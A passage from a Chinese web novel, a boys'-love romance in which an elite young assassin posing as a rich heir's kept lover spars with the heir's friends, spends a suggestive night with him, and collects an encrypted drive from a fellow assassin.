少年一袭素白色T恤,面容清秀皮肤冷白,像是冬日的新雪,但此时因为酒意已经染上了淡淡的粉红。 脖颈纤细到近乎脆弱,若隐若现的锁骨性感,惹人浮想联翩。 只是手臂上线条流畅,又诉说着力量感。 时清徵接水擦在脸上,额前的碎发被浸上水。 他缓缓吐了口气。 兜里的手机震动起来,是熟悉的号码。 “有事?”少年嗓音清冷,透着些许不耐。 “到A国了?”说话的人是个女人,声音妩媚婉转,带着刻意的矫揉造作。 “嗯,好好说话。” “哎呀,这就是人家本来的声音啦~” 对面人一听,更来劲了,夹着的嗓音都快要冒烟,那温柔似乎能把人溺死。 时清徵将手机拿远了些,然后利落挂掉了电话。 他怀疑青鸟做任务把脑子做坏了。 第5章 青鸟 电话另一头的女人看着被挂掉的电话....... 你大爷的敢挂老子电话!! 然后深吸一口气,重新打了回去。 平静,平静, 不能骂人,这次是自己理亏。 要平静,要内敛。 深呼吸,对,很好,就这样。 青鸟觉得自己已经平静了下来,靠近手机,柔声开口:“喂,是万岁吗?” 青鸟,你已经学会控制情绪了。 你真棒。 时清徵:“可以好好说话了吗?” “......你特么装什么,要不是老娘你就死在赤洲了!” 青鸟一瞬间破防了。 时清徵冷笑:“你要不要想一想我为什么会差点死在赤洲?” 青鸟找了个人来帮助他撤退,结果那人前一天晚上喝了大酒,被赤洲当地势力盯上了。 被抓起来后一审,发现了那人身份的异常。 结果时清徵撤离后找不到接应的人,被迫走了另一条路线。 另一条路线走得匆忙,也没有接应的人。 屋漏偏逢连夜雨,时清徵旧伤发作,被迫在赤洲休整了一天 然后被发现了。 发现了。 了。 一路从赤洲追到东南群岛,又从东南群岛追到A国,溜了那群人大半个地球。 前两天才把那群人甩掉。 猪队友都不足以形容青鸟派来的人了。 青鸟尴尬地咳嗽了一声。 “那啥.....我不也救了你吗。” 只是声音越来越小,心虚得厉害。 “呵。” 青鸟在对面嘀咕了一句什么,声音太小,时清徵没有听清。 “你说什么?”时清徵的手指按在大理石台面上。 对面的青鸟:“........” 艹,给你脸了! “你一个大男人,能不能别这么小肚鸡肠啊,又没缺胳膊少腿。” 青鸟闭着眼睛开始瞎扯,然后越讲越觉得自己有道理,然后声音就更大了一些。 “再说了,你被发现只能说明你能力不足。” “你说你要是扛个火箭炮直接把他们全轰了不就没那么多破事了吗?” 时清徵揉了揉太阳穴,觉得这人的话真的密。 “别扯这些,你打电话来是有什么事?” 青鸟在通讯器对面懒洋洋地碾灭了手中的烟,随意靠在码头的集装箱上。 黑色齐耳短发在海风的吹拂下有些凌乱。 “也没什么事儿,就是我一个月前在碎洲那边收拾那黑潮公司的走私贩,结果半道是听到了风声,说是幽灵组织的一艘货要在这边转运。” 青鸟嗤笑了一声,将手中的烟头随意一丢。 “老子的地盘他们也敢大摇大摆运货,当我是死的不成?” “手越来越长了。”时清徵评价道。 “可不是。”青鸟声音慵懒。 “你炸了他们军工厂也好,给他们个教训,省的一天天蹦跶地厉害,不知道自己几斤几两。” “上次还TM盯上老子的人了,要不是我没空收拾他们,我早就送他们去当上帝了。” 时清徵刚炸了人家两个军工厂,现在幽灵组织正在全世界悬赏他的人头。 那价格,看的青鸟都有些心动。 但念在同事一扬的份上,她还是只能不甘心地咽下口水。 蒜鸟蒜鸟,都不容易。 真不是因为她打不过这人。 青鸟还在对面胡思乱想,最后摇了摇头。 感叹一句:老了啊。 “我在截获的那批货里找到了一个加密文档,三层嵌套,我手下那批人熬夜加点也没啃出来。” “所以.....?” 青鸟:“所以这不想请你帮帮忙嘛,能者多劳。” 时清徵:........ “而且你就不好奇这里面的东西吗,加密的越严实,说明里面的东西越珍贵啊。” “我现在很忙。”时清徵淡淡道。 “这话你自己信吗?你今年就接了一个任务,其他时候全都在摆烂。” “我警告你哈,你这种行为是十分可耻的。” 时清徵满不在乎:“所以呢,然后呢?” “......活该你穷,不过我告诉你,这玩意幽灵组织很重视,前几天他们派人袭击我的人好几次,所以.......” 她知道时清徵和幽灵组织一直不对付,不是同行的那种记恨,而是想把对方弄死的那种记恨。 时清徵这人一般不会关注某些人,但对幽灵组织格外重视。 好像时刻准备将那个组织掀翻一样。 时清徵闻言想了想,果然松开:“改天把东西给我。” “成,等我回A国。” “你先去盟洲走一趟,帮我把电脑带来。” “.......你让别人寄回去不就好了。” 时清徵没说话。 “行,那我就勉为其难跑一趟吧。”青鸟撇了撇嘴。 对面传来一声轻响,是落地的声音。 是青鸟跳下了集装箱。 随后对面的声音杂乱了一会,背景音里传来几声枪响。 青鸟道:“我这有点小事,先挂了。” 时清徵没什么表情:“有几个杀手追我到京城了,你帮我查一下他们的位置。” “他们怎么会知道你在A国京城?”青鸟明显有些诧异。 时清徵:“所以还得麻烦你查一下,我现在抽不开身。” “知道了,消息我三日内发你。” 然后电话被挂断。 青鸟将手机揣回兜里,打量了一眼身边人递过来的冲锋枪,皱了皱眉。 “就这点小事你也要给我浪费子弹,知不知道我们现在事业处于上升期,要花钱的地方可多了,能省一点就省一点啊。” 握着冲锋枪的男子:...... 收也不是,不收也不是。 青鸟探头往前一看:“哟,就这几个人啊,谁给他们的勇气来这里闹事?” 男子:“应该是当地不长眼的小势力。” 青鸟:“那好办啊,等我去向他们晓之以情,动之以理。不要打打杀杀,太粗鲁了。” 说完就嘿嘿一笑,揣着手朝着一个身姿英挺的半蒙面男人走去。 男子:老大,你别以为我不知道你打了什么心思。 时清徵挂掉电话后接水洗了个手,水淅淅沥沥地从指缝穿过。 下一秒,外面有人靠近的声音。 “你叫什么名字?” 时清徵擦干手指上的水珠,抬头看去。 说话之人倚靠在门框上,落在时清徵身上的眼神像是打量,让人不是很舒服。 声音中带着刻意的轻佻。 时清徵认出这人就是在顾鸣鹤带自己进门时开口说自己是“小情儿”的人。 但并不知道他叫什么。 时清徵看了他一眼,没有说话。 宋燕归:“这么横?” 说着,抬手挡住了时清徵的路。 “不认识认识?好歹是入了顾总眼的人,这么没眼力见。” 时清徵不动声色地弯了弯手指,面上依旧没有什么情绪。 “哑巴了?” 宋燕归直起身子,往前走了一步,漫不经心地瞧着时清徵。 第6章 大姐,你没机会了 他往左边挪了半步,正眼对上宋燕归。 那双漆黑的瞳孔中在灯光下透露出几乎接近透明的质感。 “借过。”声音很轻,也不算冷,只是没什么情绪,似乎并没把眼前人眼前事放心上。 宋燕归愣了一下,然后笑得更放肆。 “脾气还不小,不知道顾总给你开了什么价,我给你双倍,不,三倍如何?” 他故意压低声音,有些暧昧地问。 时清徵的眼神终于有了波动,嘴角动了动。 “这位....大姐,我建议你收回刚才的话。” 宋燕归还没来来得及反应,就听见时清徵慢悠悠道:“可惜我不喜欢你这个类型的,大姐你没机会了。” ....... 宋燕归虽然留着长发,但明显就是男人,时清徵这话显然是故意的。 时清徵有意用这个词来戏弄他,“大姐”这个称呼就那么讲出来了。 宋燕归额角青筋跳了跳,半晌没憋出一句话来。 方才在包间,时清徵表现的着实有些乖,没想到背后还有另一副面孔。 “顾鸣鹤没教好你,敢这么放肆?” 宋燕归私下也不见得多洁身自好,小情儿就跟衣服一样常换常新。 但什么时候不是被人捧着,小心翼翼伺候着,何时会被这种人戏弄,而且此人还只是自己兄弟的一个玩物。 宋燕归危险地眯起眼睛:“你以为你是谁?不过是一个.......” “我是谁我自己清楚,不需要你告诉我。” 时清徵开口打断,然后随意瞥了一眼宋燕归散开的领口。 “比起我,你还是要多关心一下自己,毕竟年纪大的人,要早些休息。” 时清徵说着,还露出一个乖巧的笑来,看起来贴心极了。 他还不到二十,宋燕归可不就是比他老。 宋燕归只觉得一口气憋住,上不去下不来,难受得紧。 “鸣鹤不喜欢不懂分寸的人,你......” 宋燕归还想警告几句。 “燕归。” 外面传来一道声音,语调一如既往的慵懒随意,没有什么异常情绪。 是顾鸣鹤。 他见时清徵离开不久后宋燕归也走了出去,心中没有来地有些许烦闷。 毕竟宋燕归什么德行其他人不知道,他们这群做兄弟的不可能不清楚。 他跟出去十有八九是打算“提醒”时清徵,不要动什么不该有的心思。 但时清徵毕竟是自己带出来的。 顾鸣鹤拍了拍宋燕归的肩:“燕归,怎么出来这么久?” 宋燕归笑了笑:“碰巧撞到了你的....这位朋友,所以攀谈了几句,鸣鹤你可别误会。” 其实凭借他们之间的关系,顾鸣鹤根本不会在意什么。 而且顾鸣鹤了解宋燕归,他玩归玩,不会真碰自己兄弟的人。 “聊什么呢这么开心,说出来让我也笑笑啊。” 宋燕归接话道:“也没聊什么,就......” 时清徵眨了眨眼:“聊花多少钱包养我呢,顾先生,你的朋友跟你一样大方。” 宋燕归:........ 顾鸣鹤:........ 顾鸣鹤的桃花眼微眯,侧目看着宋燕归,一扬眉。 你这是干嘛呢? 我什么都没干啊! 两人用眼神交流了三百回合。 宋燕归更是不可置信地看了一眼时清徵。 不是,你就这么水灵灵地讲出来了?你们这种人不应该是一听到这种调侃就羞愧地抬不起头吗? 时清徵似乎怕人没听明白,还很好心地解释道:“对了,这位的出价是顾先生的三倍,要不是他长相一般,我都要心动了。” 长相一般? 顾鸣鹤嘴角抽动,看着宋燕归逐渐变黑的脸,忍住想笑的冲动。 宋燕归对自己的长相一向自信,还从没有人当着他的面说他长相一般。 “你!” 宋燕归眸色危险,对时清徵的印象降到了极低点。 见宋燕归要爆炸,顾鸣鹤上前半步,离他远点。 然后往时清徵面前一站,将还是一副云淡风轻模样的时清徵挡在了身后。 “哎,燕归,他就开个玩笑,你别跟他一般见识啊。” 顾鸣鹤唇角勾起。 看不出来,时清徵还挺有脾气的,有意思呢。 “鸣鹤,你到底是怎么会看上他的?”宋燕归面色很不好,但又碍于顾鸣鹤的面子,忍住没有发作。 时清徵挪了半步,漏出脑袋,指着自己的脸:“我靠得是这里,看清楚了吗?” “看不清可以凑过来点。” 还没来得及回话的顾鸣鹤:.......... 平时怎么没看出来时清徵这么会怼人呢? 忽然感觉这是个闯祸精啊。 他揉了揉突突直跳的太阳穴,试图开口。 但有人嘴更快。 时清徵轻嗤一声:“怎么,你羡慕了?” 他对这个一上来就挑衅自己的男人没什么好感,要不是条件不允许,他非让这人尝尝俊男的铁拳。 宋燕归冷笑一声:"方才装得挺乖,怎么现在不装了?" 时清徵懒懒道:“那也得看对谁。” 他掀起眼皮,似笑非笑地瞥了宋燕归一眼,“对着顾先生,我自然乐意装乖。至于你嘛.......” 他故意拖长了尾音,目光在宋燕归身上轻飘飘地一扫:“不值得我费这个劲。” 顾鸣鹤给他睡,还给他钱,这人呢? 做出姿态给谁看呢? 顾鸣鹤闻言差点被自己的口水呛到,连忙假装咳嗽掩饰。 他从未见过时清徵这般伶牙俐齿的模样,平日里在自己面前乖顺得像只收起爪子的猫,如今倒亮出了锋利的爪子。 不过听着时清徵的区别对待,他心里莫名有些爽。 宋燕归脸色越发难看:"鸣鹤,你听听他说的是什么话!" 时清徵轻轻“啧”了一声,慢条斯理地整理了下衣摆:“顾先生,我先出去了。” 说完便施施然往外走去,留下宋燕归站在原地气得发抖。 顾鸣鹤则一脸无奈地揉着太阳穴,心想时清徵今天是怎么了。 思考了几秒,他觉得是宋燕归的问题。 “燕归,你跟他计较什么?”顾鸣鹤单手插兜,嗓音懒散,连眼皮都没掀一下。 眼前这扬争执不过是扬无聊的把戏,他并没往心上去。 要是宋燕归真计较起来,时清徵怎么斗得过他呢? 身份摆在那里。 宋燕归嗤笑一声,眼神轻飘飘地往时清徵背影上一扫,带着几分居高临下的嘲弄:“鸣鹤,你原来喜欢这一款?” 他顿了顿,唇角勾起一抹讥诮的弧度,“倒是新鲜。” 顾鸣鹤没接话,只是漫不经心地掸了掸袖口并不存在的灰尘,语气淡淡:“你跟他吵什么?也不嫌跌份,我喜欢着呢,你至少给兄弟个面子。” “我不过是试试他的斤两罢了。”宋燕归轻哼一声,目光冷了下来,“可惜,不识抬举。” 他语气凉薄,带着几分倨傲:“在京城,还没人敢这么跟我说话。” 顾鸣鹤终于抬眸,似笑非笑地看了他一眼:“你要是不喜欢,以后不带他来你面前晃就是了。” 他伸手搭上宋燕归的肩,姿态随意却不容拒绝:“走了走了,去喝酒,难得聚一聚。” “你说的难得是指七天一小聚,半月一大聚?” 宋燕归被他带着往包厢走。 被拉到包间里坐着后,不少人凑了上来,他透过人群瞥了时清徵一眼,眼神倨傲,像是在看什么不入流的东西。 京城宋家的独子,生来就是众星捧月的天之骄子,看人不爽从来不需要理由。 顾鸣鹤则是假装不知道宋燕归的态度,毕竟他还不至于为了时清徵拂了发小的面子。 第7章 混口饭吃 时清徵被顾鸣鹤随手按在身边坐下,顺手捞了个橘子慢条斯理地剥着。 指尖掐开橘皮时,清冽的果香溅在空气里,但很快被香水和酒气打散,消失不见。 包厢里那些若有似无的打量和窃窃私语,在他耳畔打了个转就散了。 宋燕归臭着一张脸,摆明了不待见他。 几个公子哥儿家世比不上宋燕归,索性顺着他讲话。 他们刻意提高音量来调侃时清徵,借此取悦宋燕归。 有时还用那些带着审视的轻蔑眼神瞥向时清徵。 但全都轻飘飘地落进虚空里,时清徵连睫毛都没掀动一下。 顾鸣鹤虽然坐在他旁边,但对这一切视若无睹,而是转头和靳云封谈笑。 他们讲的是京圈那点事,时清徵不知道,也不感兴趣。 他掰了瓣橘子送进嘴里,甜津津的汁水在舌尖炸开。 真有意思,这些人以为用这种小把戏就能让他难堪?他泥沼里摸爬滚打的时候,这群少爷还在温室里玩过家家呢。 “喂,你是做什么的?”对面梳着背头的男人见顾鸣鹤没有搭理时清徵,所以断定顾鸣鹤对这人也就不过如此。 于是突然发问。 不等他回答,旁边穿着衬衫的青年就嗤笑出声:“还能是做什么的?没看见顾哥都让人坐身边了么?” 暧昧的尾音故意拖得很长,引得周围几个公子哥发出心照不宣的低笑。 时清徵缓缓掀起眼帘,瞳孔中折射出玻璃灯细碎的光,没什么情绪。 “嗯,混口饭吃而已。” 话锋忽然一转:“不过顾先生比较挑食,是不是?” 他偏头看向顾鸣鹤,眼尾微微下垂的模样格外无辜,可唇角那抹似有若无的弧度,分明是把烫手山芋轻巧地抛了回去。 所有人都屏住呼吸看向顾鸣鹤——谁不知道这位太子爷最讨厌被人当枪使? 顾鸣鹤把玩打火机的手顿住。 他忽然伸手揉了揉时清徵的发顶:“确实挑。” 低沉的嗓音里带着危险的愉悦:“不过......合胃口的,总要尝尝鲜。” 时清徵感受着发间残留的温度,闭了闭眼。 随后将手中最后一瓣橘子塞进嘴里,慢慢咀嚼着。 随后又忽然觉得很没意思。 顾鸣鹤感觉到时清徵的情绪有些一般,但并没有放在心上。 等到聚会结束,二人乘车离开。 时清徵打开车窗,外头的夜风灌了进来。 夏日的夜风比车内的空调风更多清爽。 让时清徵的情绪愉悦了不少。 他侧着头看着窗外的风景流淌而过,忽然有种异样的情绪。 像是忽然从极高极寒,极度缺氧的地方坠落,落在了烟雨江南中。 第一感觉不是舒畅,而是不适应。 但此刻,他忽然感受到了那一种放松。 不是因为其他人,而是因为自己。 “不高兴?” 顾鸣鹤看着他问。 时清徵:“没有。” 他的目光从车窗外收回,落在了顾鸣鹤身上。 “那群人不是你得罪得起的,也不怕他们以后找你算账。” 顾鸣鹤又语气平淡道:“要是不喜欢,以后避开他们就是了。” 他的那群发小的德行他还是清楚的。 他们针对的不是时清徵这个人,而是他的身份。 轮胎碾过减速带,车身微微震动。 时清徵忽然低笑出声:“得罪不起?” 尾音微微上扬,带着几分玩味。 沉默在车厢里蔓延了半晌。 最终他嗓音轻淡:“也许吧,毕竟都是群太子爷。” 顾鸣鹤注意到他的语气,眉头几不可察地皱了下。 不知道是不是因为今日之事有些内疚而进行的施舍。 顾鸣鹤给了时清徵一张卡。 “里面有五百万,算你的绩效奖,到时候每个月五十万都会打这个卡里。” “多谢。”时清徵接过卡,随后被他放进口袋里。 他当然知道顾鸣鹤在想什么。 这位金主八成以为他在为今晚的难堪闹脾气。 真是想多了。 那些公子哥的嘲讽于他而言,不过是场无聊的游戏。 至于顾鸣鹤的冷眼旁观?再正常不过。换作是他,也不会为了个床伴去拂兄弟的面子。 这张卡他收得心安理得,毕竟本就是场你情我愿的交易。他提供新鲜感,顾鸣鹤提供资源,银货两讫,谁也不欠谁。 换一个方向来说,顾鸣鹤又给身子又给钱,赚的还是时清徵。 顾鸣鹤手臂一收,时清徵便跌进他怀里。 真皮座椅发出细微的摩擦声。 “还是不开心?”顾鸣鹤的指尖抚上他后颈,温度透过薄薄的衣料传来。 前方的司机:....... 不敢动。 顾鸣鹤伸手按下后座显示屏上的图标,前座的隔板缓缓升起,将空间一分为二。 时清徵余光瞥见雾化的隔板,忍不住轻笑出声。 “开心什么?”他仰起脸反问,却在看清顾鸣鹤面容的瞬间怔了怔。 顶灯将他脸上的轮廓照的朦胧,连睫毛投下的阴影都恰到好处。 此情此景,别具一番风味。 时清徵忽然伸手描摹他的眉骨,指尖顺着鼻梁滑下:“不过看见顾先生........” 他顿了顿,眼底漾开真切的笑意,“确实让人生不起气来。” 语气不似轻佻,眼神却专注得惊人。 时清徵忽然想起第一次见面时,顾鸣鹤站在夜总会的射灯下,也是这样——好看得让人移不开眼。 那双桃花眼,好像能醉人。 现在也是,似乎总是盛满深情,让人分辨不出真假。 当真是好看。 眼睛好看,人也好看。 时清徵觉得顾鸣鹤的每一样他都喜欢。 顾鸣鹤捉住他作乱的手指,却被时清徵反手扣住。 十指相缠的瞬间,时清徵忽然凑近,呼吸擦过他耳际。 顾鸣鹤这张脸,值千金。 都说千金难买美人笑,顾鸣鹤却时常挂着笑。 看到就是赚到。 “顾先生。” 语气低低的,带着压抑的情绪,酥酥麻麻的。 此时车窗还是半开的,风声不断灌入。 顾鸣鹤将人压在车座上,伸出一只手关掉了车窗。 风声戛然而止,只留下两人的呼吸交缠着。 车内的气氛迅速暧昧升温。 时清徵微微喘气,然后将手放在顾鸣鹤的颈侧。 两人对视着,眼中没有爱意,全是最原始的情 谷欠。 顾鸣鹤的眸中带着侵略性,一点点压下去。 将时清徵整个人圈入怀中。 时清徵只是用手环住顾鸣鹤的脖颈,双手交叠扣在他的后背上。 “吻我。”时清徵躺在下面,却似乎没落下风,而是漫不经心地看着上面的顾鸣鹤。 顾鸣鹤笑了一下,对着那抹浅红,果断吻了下去。 上面吻得难舍难分,下面也不老实。 顾鸣鹤的手顺着衣摆探入。 时清徵刚开始还回应着,但慢慢架不住了。 这人动作着实有些凶。 又凶又野又没经验。 “唔……” 时清徵被他亲的晕头转向,着实闷的厉害。 可这人追着他不放,霸道不讲理的亲法。 第8章 李婶,你要篡位吗 “碰——” 两人险些一起摔了下去。 顾鸣鹤脸色变了下,有些低哑的嗓音通过后排电话传了过去:“怎么了?” “抱歉顾总,前面忽然冲出来一辆车,您没事吧?” 司机的声音似乎有些着急,却还是能听清。 他看不到也听不清后面的状况,所以着急地高声询问。 “没事,下次注意。” 顾鸣鹤面上有些阴沉,按灭了电话,然后摸了一下撞疼的脑袋。 时清徵反应迅速,而且有顾鸣鹤这个垫子在,自然没有受伤。 他趁着这个空档迅速抽身,靠着车后背不住地喘息。 舌尖发麻,还有些疼。 这人特么的属狗的? 这么想着,时清徵忍不住瞪了他一眼。 “怎么看着我做什么?” 顾鸣鹤眯起眼,眼神中明晃晃地写着几个大字: 欲求不满。 “刚刚亲的你不‖爽?” 时清徵:“呵,一点都不......” 他悠悠地点评。 “你刚才的反应可不是这样的,怎么还不诚实呢?” 顾鸣鹤嗤笑,弯腰上去捏住时清徵的下巴,然后另一只手在他唇上揉着。 直到将殷红弄得红肿,顾鸣鹤才心满意足。 眼尾上扬,像只做了坏事的猫,眸色中还带着些恶作剧的趣味。 时清徵直接咬住他的手,在那留下一排牙印。 “这么凶?”顾鸣鹤没有恼怒,而是轻轻碰了一下被时清徵咬过的地方。 用自己的唇碰。 “凶你大爷。” 时清徵对顾鸣鹤的技术还是不太满意,重新坐了回去。 那是很凶很野,横冲直撞的法子。 着实难评。 “看来你还没认识到现在的处境。”顾鸣鹤对于时清徵的嫌弃不做反应,而是笑道。 时清徵:“?” “你现在还是我的人。” 时清徵:......... “所以我可以*到你........”顾鸣鹤贴到人的耳边,用只有两个人能听到的声音,轻声道。 时清徵耳尖一红。 “你T......唔。” 未说出口的话被堵了回去。 ....... 车已经停下有一段时间了。 司机无助地坐在前面,尴尬地扣着方向盘。 他是不是应该再绕着庄园开一圈? 打工人命苦啊! 老板什么时候下车,他想下班了。 似乎察觉到后面的先生没有要下车的打算,司机悄咪咪地打开车门,静悄悄地走远了。 “到了。” 时清徵推开这个黏在他身上的男人,开口提醒道。 顾鸣鹤口中还带着掠夺来的酒香和橘香。 细品,则更醇香。 很甜很醉人。 “别着急。” 顾鸣鹤压着嗓音,又低了下去。 时清徵:“急得......是我吗?” 两人好不容易分开,各自坐了一会。 顾鸣鹤理了理凌乱的衣服,随后倾身贴心地帮时清徵的衣服整理好。 虽然显得有些欲盖弥彰。 然后他才打开车门走了出去。 地方太小,施展不好。 转战场地。 他帮时清徵打开车门,贴心地帮他披上了外套。 顾鸣鹤一手揽着时清徵,大步往前走。 管家见顾总回来,还没迎上去就注意到顾总身边的人。 愣了两秒,然后非常有事业素养地让开了路,还让在三楼干活的佣人们撤了下来。 没看见先生很急吗? 见顾鸣鹤揽着人上楼,管家露出欣慰的笑。 “这是总裁第一次笑得这么开心。” 说话的不是管家,而是从厨房走出来的李婶。 “你抢我台词了!” 管家很是愤懑。 “谁先说就是谁的。”李婶笑着走开。 真当她总裁小说白看的,和她争? 呵,老男人。 她一直觉得顾先生有做霸总的潜力,要是再高冷一点就更像了。 管家站在原地,表情是一脸控诉。 李婶你是要篡位吗? 而且顾总哪里是第一次笑,他以前不也挺爱笑的? 三楼,卧室。 两人亲得难舍难分,摸索着打开了灯。 灯光忽然亮起,但时清徵面前的光全都被眼前高大的男人所遮住。 他闭着眼,只听见水声啧啧。 暧昧又黏糊。 每走过一处,那里便留下了一地的旖旎。 次日,阳光透过纱帘洒进卧室,时清徵睁开眼时,浑身像是要散架一样。 爽是真爽,痛也是真痛。 他面无表情地盯着天花板,开始思考人生三大哲学问题: 他为什么要答应顾鸣鹤的包养提议? 他为什么昨晚没直接拧断这男人的脖子? 他堂堂顶级杀手,为什么会沦落到腰酸腿软的地步? “哟,醒了?” 低沉的嗓音从旁边传来。 时清徵缓缓转头,看见顾鸣鹤正靠在床头,膝上放着笔记本电脑,西装革履,神清气爽,连头发丝都透着餍足的精致。 凭什么?! 时清徵眯了眯眼,杀气一闪而过。 顾鸣鹤合上电脑,唇角勾起一抹戏谑的弧度:“昨晚怎么样啊,小时?” 时清徵:“......” 他不想说话,并朝顾鸣鹤扔了一个“你再废话我就弄死你”的眼神。 顾鸣鹤不仅没被威胁到,反而低笑一声,伸手揉了揉他的腰:“疼?” 时清徵一巴掌拍开他的爪子,冷着脸坐起身,扯过衬衫往身上套。 “几点了?”嗓音沙哑得不像话。 “九点。”顾鸣鹤看了眼腕表,语气悠闲。 时清徵冷笑:“顾总真是精力旺盛,白天当总裁,晚上当禽兽,现在还能衣冠楚楚坐这儿办公。” 顾鸣鹤挑眉,不仅没恼,反而倾身靠近,指尖若有若无地划过他的后腰:“过奖了,毕竟......某人昨晚可是自己说的。” 他压低嗓音,模仿时清徵昨晚的语气: “谁先喊停谁是狗。” 时清徵:“......” 就因为这句话,两个人愣是没一个人喊停的。 时清徵冷哼一声,径直下了床。 他在原地定定站了几秒。 艹! 这辈子就没这么窝囊过。 “要不要我抱你去洗漱?” 回应顾鸣鹤的,是时清徵一个刀锋般锐利的不屑眼神。 他难道还瘸了不成? 僵直着身躯,他如同牵线木偶般,硬邦邦地挪进了浴室。 目光触及镜子里的自己,时清徵额角青筋一跳。 这人!属狗的吧? 白皙的皮肤上布满了杂乱的吻痕和勒痕。 连嘴角都肿的破了皮。 真要论起来,倒也算不上有多疼,只是.......怪怪的。 嗯......怪.......爽的。 目光继续在镜中流连,时清徵舌尖抵了抵破了口的嘴角,轻“啧”一声。 也不怪顾鸣鹤那家伙把持不住,都怪自己。 自己也把持不住。 第9章 江南月 顾鸣鹤见时清徵起来后就离开了。 毕竟他今天还要上班。 不是每个人都像时清徵一样无所事事。 “我到京城了,你在哪?”电话那头传来江南月慵懒的嗓音。 时清徵单手插兜站在街边:“发地址,我过去。” “现在?”江南月轻笑一声,“行啊,我在金樽阁,208包厢。” 她顿了顿,语气突然促狭:“你嗓子怎么哑了?该不会是嘴太毒遭报应了吧?” “管好你自己。”时清徵干脆利落地挂断电话。 又挂我电话。 江南月耸耸肩,随手把手机扔在桌上。 她修长的手指在菜单上轻轻一点,对候在一旁的服务员道:“把你们这儿的招牌菜都上一遍。” 上班太辛苦,她得好好犒劳自己。 服务员面露难色:“女士,我们这里有......” “算了”,江南月抬眸,眼神陡然锐利,“还是炒一本吧。” 金樽阁的位置难定,里面的饭菜更是昂贵,像江南月这种炒一本大客户也的确是少见。 “好的,马上为您安排。”服务员赶紧躬身退下。 包厢门关上的瞬间,江南月转向对面正襟危坐的男人:“李总这是给我摆脸色看?” 她指尖轻敲桌面:“要是觉得委屈,现在就可以走。” 男人额头渗出细汗,连忙赔笑:“江小姐误会了,我刚才是.....” “叫我江董。”江南月打断他,红唇微勾,“我记得上次就提醒过你。” “是是是,江董。”男人立刻改口,后背已经湿了一片。 他小心翼翼地试探:“那个,关于合同的事.....” 江南月做了个噤声的手势:“急什么?” 她欣赏着自己新做的美甲,心情美滋滋:“等吃完饭,去我办公室慢慢谈。” 男人脸色瞬间煞白,却不得不挤出笑容:“好的。” 时清徵推门而入时,看到的就是这一幕。 江南月正慢条斯理地切着牛排,而对面的男人像个鹌鹑似的缩在座位里。 青鸟原名江南月,曾经是杀手榜的世界第三,但目前处于半退隐状态,上个月已经滑到了世界第十五。 不过,她掌握的情报网依旧遍布全球,嘴碎程度和战斗力成正比。 据说她干情报网的目的是爱好吃瓜。 江南月看起来年轻,实际上也没有多老。 如今不过二十五岁,很快就三十。 要不了多久就四十,一眨眼都五十了。 但她并没有结婚的打算 按她的话来说就是:“她还年轻,婚姻是爱情的坟墓,她不能辜负那些等她的美男们啊。” “东西。”时清徵开门见山。 江南月这才抬起头,用餐巾优雅地擦了擦嘴角。 她从手包里取出一个U盘推过去:“喏。” 然后又弯腰从地上拿起一个包。 “你电脑。” 时清徵拿着东西正要转身,江南月忽然叫住他:“急什么?” 她示意那个男人:“你先出去等着。” 男人如蒙大赦,连忙起身离开,临走还不忘轻轻带上门。 江南月端起红酒抿了一口:“你躲杀手也不至于躲到A国来吧?是有其他任务?” “一点私事。” “还是幽灵组织的事情,你就这么恨他们?” “恨也算不上,就有些事情得调查清楚。” “还是因为以前那事。” 见时清徵点头,她轻笑:“也就这事能让你上心了。” “你打算什么时候走?”时清徵反问。 江南月一脸不可思议:“为什么要走,我现在又没任务?” “而且我家在这里好吧,你当我只是来A国给你送东西的?我是回家,送东西是顺带的。” 时清徵没话说了,他还真不知道这些。 江南月翻了个白眼,“合着你从没关心过同事的私生活?” 时清徵面不改色:“原来你是京城人。” “哇,真聪明。” 江南月夸张地鼓掌:“不仅发现我是本地人,你能不能看出来我是个女的呢?” 时清徵没好气道:“你是男是女已经不重要了。” 江南月托着下巴,红唇微扬:“别这么大脾气,这样是没有姑娘喜欢的。” “过两天我家老头子七十大寿的生辰宴。”江南月突然用银叉敲了敲水晶杯,发出清脆的声响。 “你觉得我送他什么比较好?”她歪着头,突然眼睛一亮,“哎,你觉得火箭炮怎么样?就你用的那一款。” 时清徵正在查看电脑的动作一顿,抬眼看见江南月兴奋得像个发现新玩具的孩子。 “别人是驾鹤西去,他是驾炮西去,多有面啊!”她越说越起劲,甚至拍了下桌面,震得餐具叮当作响。 “到时候在寿宴上当众开炮,“砰”——保证让所有宾客永生难忘!” 时清徵面无表情地把U盘塞进口袋:“建议你顺便准备个骨灰盒,省得事后麻烦。” “啧,你这个人很没意思啊。”江南月撇撇嘴,忽然想到什么似的眯起眼睛,“说起来,你好像从来没问过我家的事?” 时清徵给自己倒了杯茶:“没兴趣。” “哎呀,真伤人~”江南月夸张地捂住心口,却掩不住嘴角恶劣的笑意。 “不过既然你问了.....” “我没问。” “我家那个老东西啊。”她自顾自地说下去,撩了撩耳边的发丝。 “那是个重男轻女的老封建了,你要是哪天要是跟我一块去,保准能看到他脑袋后面隐形的辫子。” 水晶灯的光在她眼中投下细碎的光斑。 “要不是我这些年''以理服人'',现在江家早被那群豺狼啃得渣都不剩了。” 她语气轻快得像在讲别人的故事。 “五岁那年,我爸的车在盘山公路''意外''坠崖。我妈虽然捡回条命,但到现在还躺在盟洲的疗养院里。” 这件事情时清徵知道。 江南月每年都会在相关医疗领域投一大笔钱,用于治疗疾病。 原来是因为她的母亲。 时清徵沉默地看着江南月切下一块牛排,将牛排送入口中。 江南月咀嚼着,露出甜蜜的微笑:“我那几位好叔叔啊,连夜把我爸的股份瓜分得干干净净。老爷子呢,觉得孙女迟早是外人,睁只眼闭只眼咯。” “后来外祖家看我实在可怜,把我送去Y国。" 她突然笑起来:“结果我在那学到了一些很有趣的东西,化学实验课~特别是那些......有趣的配方。” 江南月用叉子在空中画着抛物线:“十八岁回来第一天,我就把三叔叔养了十年的锦鲤塞进烟花里炸给他看。” 她眨眨眼:“我三叔可喜欢了。” 时清徵终于开口:“所以现在江家......” “现在?”江南月擦擦嘴角,突然从手机里翻出一张照片,推过来给时清徵看。 画面里几个中年男人跪在祠堂,最前面的举着“江氏永归江南月小姐”的横幅,脸色比死人还难看。 时清徵扬眉,这作风不像是青鸟啊。 “四年前老爷子六十六大寿,我用他最喜欢的紫砂壶泡了二叔的手指。泡到第二根的时候,老人家终于想起来我才是嫡系血脉了。” 江南月撇撇嘴:“老人家记性不好,我还是可以体谅的啦。” 时清徵:“那照你说现在这江家应该很老实了。” “老实了?” 江南月嗤笑:“你知道什么叫狗改不了吃屎吗?” 